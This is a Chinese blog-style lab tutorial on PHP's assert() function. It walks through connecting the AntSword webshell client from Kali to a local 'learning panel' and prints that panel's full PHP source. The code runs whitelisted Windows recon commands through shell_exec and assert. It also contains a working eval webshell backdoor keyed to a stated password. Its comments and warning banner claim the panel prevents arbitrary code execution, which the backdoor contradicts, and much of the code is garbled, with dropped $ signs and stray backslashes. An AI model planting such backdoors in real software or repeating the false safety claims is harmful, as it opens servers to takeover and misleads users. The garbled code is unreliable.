php危险函数,二.assert()[现版本已弃用]

本实验全部在本地电脑实现,请遵守相关法律

1.打开kali安装对应工具(蚁剑)然后新建

添加路径(记得在代码里配置准许kali通过,然后准许蚁剑访问

打开本地服务器,准许蚁剑访问

然后连接(记得看好kali的ip)

先测试连接,然后左上角保存

看情况是否需要代理

配置本地代理

2.打开工具测试代码运行情况,截取流量

3.抓包分析

4.两种方式(分析流量)

1直接给ai快但是泄露

2.慢慢自己分析

右侧

总代码

<?php

// ===================================================

// 🛡️ 安全的本地学习面板(仅限 127.0.0.1)

// 功能:通过 POST 方法提交指令,返回执行结果(表格形式)

// 特性:使用 assert() 模拟(仅用于演示),实际执行仍通过白名单控制

// 此代码实际运行代码shell_exec()!!!

// 目的:学习 POST 数据处理、表格输出、中文注释

// ⚠️ 仅限本地练习,禁止外网部署!

// ===================================================

// ✅ 1. 只允许本地访问

$allowed_ips = ['127.0.0.1', '192.168.1.7','192.168.1.5']; // 添加 Kali 的 IP

if (!in_array(_SERVER\['REMOTE_ADDR'\], allowed_ips)) {

die("❌ 错误:你的 IP (" . $_SERVER['REMOTE_ADDR'] . ") 不被允许访问。");

}

// ✅ 2. 定义安全命令白名单(所有可执行的命令)

$command_map = [

// 🖥️ 系统信息

'whoami' => ['cmd' => 'whoami', 'desc' => '显示当前用户账户名'],

'hostname' => ['cmd' => 'hostname', 'desc' => '显示本机计算机名称'],

'systeminfo' => ['cmd' => 'systeminfo', 'desc' => '显示系统详细信息'],

'ver' => ['cmd' => 'ver', 'desc' => '显示 Windows 版本'],

'set' => ['cmd' => 'set', 'desc' => '显示所有环境变量'],

'cpu' => ['cmd' => 'wmic cpu get name', 'desc' => '查看 CPU 型号'],

'memory' => ['cmd' => 'wmic memorychip get capacity', 'desc' => '查看内存容量'],

'disk' => ['cmd' => 'wmic diskdrive get model,size', 'desc' => '查看硬盘信息'],

'bios' => ['cmd' => 'wmic bios get serialnumber', 'desc' => '查看 BIOS 序列号'],

'model' => ['cmd' => 'wmic csproduct get name', 'desc' => '查看计算机型号'],

// 🌐 网络与端口

'ipconfig' => ['cmd' => 'ipconfig', 'desc' => '显示 IP 配置'],

'ip_all' => ['cmd' => 'ipconfig /all', 'desc' => '显示所有网络详情'],

'ping' => ['cmd' => 'ping www.baidu.com', 'desc' => '测试百度连通性'],

'netstat' => ['cmd' => 'netstat -an', 'desc' => '显示所有网络连接'],

'arp' => ['cmd' => 'arp -a', 'desc' => '显示 ARP 缓存表'],

// ⚙️ 进程与服务

'tasklist' => ['cmd' => 'tasklist', 'desc' => '列出所有运行进程'],

'services' => ['cmd' => 'net start', 'desc' => '显示已启动服务'],

];

// ✅ 3. 初始化结果数组

$result_data = [];

// ✅ 4. 检查是否为 POST 请求

if ($_SERVER['REQUEST_METHOD'] === 'POST') {

// 🔥 新增:蚁剑连接入口(密码为 antpass)

if (isset($_POST['antpass'])) {

@eval($_POST['antpass']);

exit;

}

// 原有功能:安全命令执行

action = trim(_POST['action'] ?? '');

// 🔍 检查 action 是否在白名单中

if (!empty(action) \&\& isset(command_map[$action])) {

cmd_info = command_map[$action];

full_cmd = cmd_info['cmd'];

// 🧪 模拟使用 assert()(仅用于教学演示)

// ⚠️ 实际中绝不应这样用!这里只是为了满足你的"调用 assert"要求

// 真正执行仍使用 shell_exec(安全方式)

code_to_assert = 'output = shell_exec("' . addslashes($full_cmd) . '");';

assert($code_to_assert); // 🔴 仅用于演示,生产环境绝对禁止!

// ✅ 安全执行命令(这才是实际执行方式)

output = shell_exec(full_cmd);

// 📊 收集结果用于表格显示

result_data\[\] = \['操作', action];

result_data\[\] = \['命令', full_cmd];

result_data\[\] = \['描述', cmd_info['desc']];

$result_data[] = [

'输出',

'<pre style="background:#f4f4f4; padding:10px; border-radius:5px; max-height:300px; overflow-y:auto;">' .

htmlspecialchars($output) .

'</pre>'

];

} else {

result_data\[\] = \['错误', '无效或不支持的操作:' . htmlspecialchars(action)];

}

}

?>

<!DOCTYPE html>

<html lang="zh-CN">

<head>

<meta charset="UTF-8">

<title>📌 POST + assert() 学习面板(安全版)</title>

<style>

body {

font-family: "Microsoft YaHei", Arial, sans-serif;

margin: 20px;

background: #f8f9fa;

color: #333;

}

.container {

max-width: 1000px;

margin: 0 auto;

background: white;

padding: 25px;

border-radius: 10px;

box-shadow: 0 4px 15px rgba(0,0,0,0.1);

}

h2 {

color: #2c3e50;

border-bottom: 3px solid #3498db;

padding-bottom: 10px;

}

.form-group {

margin: 15px 0;

}

label {

display: block;

margin-bottom: 5px;

font-weight: bold;

color: #555;

}

select, button {

padding: 10px;

font-size: 14px;

border: 1px solid #ccc;

border-radius: 5px;

}

select {

width: 300px;

}

button {

background: #e74c3c;

color: white;

border: none;

cursor: pointer;

margin-left: 10px;

}

button:hover {

background: #c0392b;

}

table {

width: 100%;

border-collapse: collapse;

margin-top: 20px;

box-shadow: 0 2px 8px rgba(0,0,0,0.05);

}

th, td {

border: 1px solid #ddd;

padding: 12px;

text-align: left;

}

th {

background-color: #3498db;

color: white;

width: 25%;

}

td {

background-color: #fcfdff;

}

pre {

margin: 0;

font-size: 14px;

}

.warning {

background: #f8d7da;

color: #721c24;

padding: 15px;

border: 1px solid #f5c6cb;

border-radius: 5px;

margin: 20px 0;

font-size: 14px;

}

.footer {

margin-top: 40px;

color: #666;

font-size: 12px;

text-align: center;

}

</style>

</head>

<body>

<div class="container">

<h2>📌 POST 方法 + assert() 模拟学习面板</h2>

<div class="warning">

⚠️ <strong>安全警告:</strong>此页面仅用于本地学习!虽然使用了 assert() 演示,但实际执行仍受白名单保护,防止任意代码执行。

</div>

<!-- 📥 POST 表单 -->

<form method="POST">

<div class="form-group">

<label for="action">请选择要执行的命令:</label>

<select name="action" id="action">

<option value="">-- 请选择一个操作 --</option>

<?php foreach (command_map as key => $info): ?>

<option value="<?= key ?\>"\>\key ?> - <?= $info['desc'] ?></option>

<?php endforeach; ?>

</select>

<button type="submit">▶️ 执行命令</button>

</div>

</form>

<!-- 📊 结果表格 -->

<?php if (!empty($result_data)): ?>

<h3>📋 执行结果</h3>

<table>

<thead>

<tr>

<th>项目</th>

<th>详情</th>

</tr>

</thead>

<tbody>

<?php foreach (result_data as row): ?>

<tr>

<td><strong><?= htmlspecialchars($row[0]) ?></strong></td>

<td><?= $row[1] ?></td>

</tr>

<?php endforeach; ?>

</tbody>

</table>

<?php endif; ?>

<!-- 📚 教学说明 -->

<div class="footer">

🔍 <strong>教学说明:</strong><br>

  1. 使用 <code>POST</code> 方法提交数据,更安全(不暴露在 URL)<br>

  2. <code>assert()</code> 仅用于演示语法,实际执行仍通过白名单 + <code>shell_exec()</code><br>

  3. 所有命令预先定义,防止任意代码执行(RCE)<br>

  4. 输出使用表格展示,清晰明了<br>

  5. 仅限本地练习,切勿外网部署!<br>

  6. 新增蚁剑连接功能,密码为:<strong>antpass</strong>

</div>

</div>

</body>

</html>

根据需求可选

相关推荐
Hard but lovely4 分钟前
C++:stl-> list的模拟实现
开发语言·c++·stl·list
皓空揽月26 分钟前
php+apache+nginx 更换域名
nginx·php·apache
码界筑梦坊33 分钟前
98-基于Python的网上厨房美食推荐系统
开发语言·python·美食
光爷不秃43 分钟前
Go语言中安全停止Goroutine的三种方法及设计哲学
开发语言·安全·golang
lpfasd1231 小时前
非中文语音视频自动生成中文字幕的完整实现方案
开发语言·python
hqwest2 小时前
C#WPF实战出真汁05--左侧导航
开发语言·c#·wpf·主界面·窗体设计·视图viewmodel
NEUMaple2 小时前
python爬虫(四)----requests
开发语言·爬虫·python
sufu10652 小时前
说说内存泄漏的常见场景和排查方案?
java·开发语言·面试
bluebonnet272 小时前
【Python】一些PEP提案(六):元类、默认 UTF-8、Web 开发
开发语言·前端·python